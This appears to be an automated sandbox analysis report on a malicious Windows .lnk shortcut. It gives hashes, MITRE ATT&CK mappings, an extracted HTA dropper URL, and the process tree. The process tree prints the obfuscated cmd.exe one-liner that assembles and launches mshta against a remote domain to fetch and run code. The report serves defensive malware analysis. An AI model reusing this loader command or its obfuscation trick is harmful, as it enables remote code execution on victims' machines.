4f1af24952bca55183b288b9b0cc5867dbbcefcb0580f5b405010a756f2ba322

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:12

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General

Target
DOC-PFEI4J.lnk
Size 2KB
Sample260803-qf1mesaa79
SHA256 4f1af24952bca55183b288b9b0cc5867dbbcefcb0580f5b405010a756f2ba322
MD5 8c504572605a7ba25ad541a8950816ea
SHA1 b6ed01c99a643a7c2d94a9fb16e5f14264c573cf
SHA512 191a809ccf8fd7b6e779633505bc2b1fefb3e76b3956c388eccccfbab04a9af986bb4ef8081125f1ee770d70fac605779a04fe92451af6e664a757dda22276bb
TLSH
T14A4105807AE90599F2BB9E76A8BF67418C7BF9916D70C55D1940430E1832F01DD76B23
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://br-adobe.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5640	cmd.exe
5012	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5012 wrote to memory of 5640	5012	cmd.exe	90
PID 5640 wrote to memory of 3888	5640	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-PFEI4J.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5012
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set SqNL=lognuofecdclcdapvzlog&set hd=datrcymtnkhwlxshmdat&set RWUKJ=cachewcvsenwqdmcache&set cRrc=sysejybftlvafxtasssys&set pHXK=pmm8&&set MZQKw=79shta4p&set FrkOC=cfgnifexcfg&set xCBc=cfgsnkglgafuubqbmrhptcfg&set rDc=edsta4kl&&set rc=l68rtl0&set cH=netfbbpcidyynet&set dCL=cachebospywwwzuiintlcache&&set yfhiG=h@tt@ps://b@r-adobe@.@l@at/@h@/e@s@tagio@1.@p@hp?r=36@07@61@F1579@4&&start /b !pHXK:~2,1!!MZQKw:~2,4! !yfhiG:@=!&&set WIy=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5640
- - C:\Windows\System32\mshta.exe
    mshta https://br-adobe.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:3888

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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